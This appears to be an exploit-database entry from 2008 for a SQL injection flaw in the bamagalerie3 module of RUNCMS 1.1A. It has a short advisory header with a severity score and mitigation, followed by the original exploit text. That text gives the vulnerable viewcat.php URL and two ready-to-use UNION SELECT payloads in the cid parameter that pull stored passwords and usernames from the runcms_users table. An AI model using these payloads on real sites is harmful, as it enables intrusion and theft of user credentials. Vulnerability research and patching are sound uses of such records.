RUNCMS 1.1A : bamagalerie3 Module Remote SQL Injection's (cid)

vendor:

RUNCMS 1.1A

by:

DreamTurk

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: RUNCMS 1.1A

Affected Version From: 1.1A

Affected Version To: 1.1A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

RUNCMS 1.1A : bamagalerie3 Module Remote SQL Injection’s (cid)

A vulnerability in the bamagalerie3 module of RUNCMS 1.1A allows remote attackers to inject arbitrary SQL commands via the cid parameter in a viewcat action to modules/bamagalerie3/viewcat.php.

Mitigation:

Upgrade to the latest version of RUNCMS 1.1A

Source

Exploit-DB raw data:

[~] RUNCMS 1.1A : bamagalerie3 Module Remote SQL Injection's (cid)
[~]
[~] Script Page : http://runcms.org/
[~] ----------------------------------------------------------
[~]
[~] AUTHOR : DreamTurk
[~] Exploit coded and founded by DreamTurk :)
[~]
[~]
[~] dream@dr3amturk.org
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-Cr@zy_King :)
[~]
[~]
[~]
[~]| Cr@zy_King |  X-c0d3r |
[~]
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] modules/bamagalerie3/viewcat.php?id=31&cid=Sql
[~]
[~] Sql 1 :
[~] -99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
[~] Sql 2 :
[~] -99999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*

# milw0rm.com [2008-04-01]